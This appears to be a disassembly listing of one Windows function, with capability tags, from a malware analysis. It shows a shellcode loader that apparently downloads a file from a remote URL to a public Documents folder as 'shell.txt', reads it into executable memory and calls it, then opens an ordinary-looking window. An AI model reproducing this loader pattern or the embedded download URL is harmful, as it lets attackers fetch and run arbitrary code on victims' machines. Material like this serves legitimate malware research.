Function at 0x401380
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0
push 0x4032b8
mov dword [ebp - 0x50], eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__waccess]
add esp, 8
test eax, eax
je 0x40144e
push str.C:UsersPublicDocuments_shell.txt
lea ecx, [ebp - 0x1c]
call fcn.00401830
push str.https:__fs_im_kefu.7moor_fs1.com_ly_4d2c3f00_7d4c_11e5_af15_41bf63ae4ea0_1733387640893_3.txt
lea ecx, [ebp - 0x4c]
call fcn.00401830
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x4c]
call fcn.00401170
mov ecx, dword [ebp - 0x38]
cmp ecx, 0xf
jbe 0x401406
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4013fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40143e
push ecx
push edx
call fcn.00401e36
add esp, 8
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
cmp ecx, 0xf
jbe 0x40144e
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401444
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401444
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401e36
add esp, 8
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push 0x4032b8
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
push 0
cmp esi, 0xffffffff
jne 0x40148b
push 0x403388
push 0x403390
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x4016af
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4014b2
push 0
push 0x403388
push 0x4033a0
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x4016a8
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 0x54], ebx
push 0
test ebx, ebx
jne 0x4014e3
push 0x403388
push 0x4033b4
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x4016a8
lea eax, [ebp - 0x58]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401686
cmp dword [ebp - 0x58], edi
jne 0x401686
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 0x54]
call eax
popal
push 0x8000
push 0
push dword [ebp - 0x54]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebx, dword [ebp - 0x50]
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x405508
push 0x67
push ebx
call esi
push 0x64
push 0x405440
push 0x6d
push ebx
call esi
mov esi, dword [sym.imp.USER32.dll_LoadIconW]
push 0x6b
push ebx
mov dword [ebp - 0x34], 0x30
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 0x4016d0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], ebx
call esi
push 0x7f00
push 0
mov dword [ebp - 0x1c], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
push 0x6c
push dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 6
mov dword [ebp - 0x10], 0x6d
mov dword [ebp - 0xc], 0x405440
call esi
mov dword [ebp - 8], eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
push 0
push ebx
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push 0x405508
push 0x405440
push 0
mov dword [0x4055d0], ebx
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov esi, eax
test esi, esi
je 0x4015fb
push dword [ebp + 0x14]
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
test eax, eax
jne 0x401612
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401e28
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push ebx
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
push 0
push 0
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x74]
push 0
push eax
call esi
test eax, eax
je 0x401670
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x50]
push dword [ebp - 0x74]
call dword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x401660
lea eax, [ebp - 0x74]
push eax
call edi
lea eax, [ebp - 0x74]
push eax
call ebx
push 0
push 0
push 0
lea eax, [ebp - 0x74]
push eax
call esi
test eax, eax
jne 0x401640
mov eax, dword [ebp - 0x6c]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401e28
mov esp, ebp
pop ebp
ret 0x10
push 0
push 0x403388
push 0x4033c4
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401e28
mov esp, ebp
pop ebp
ret 0x10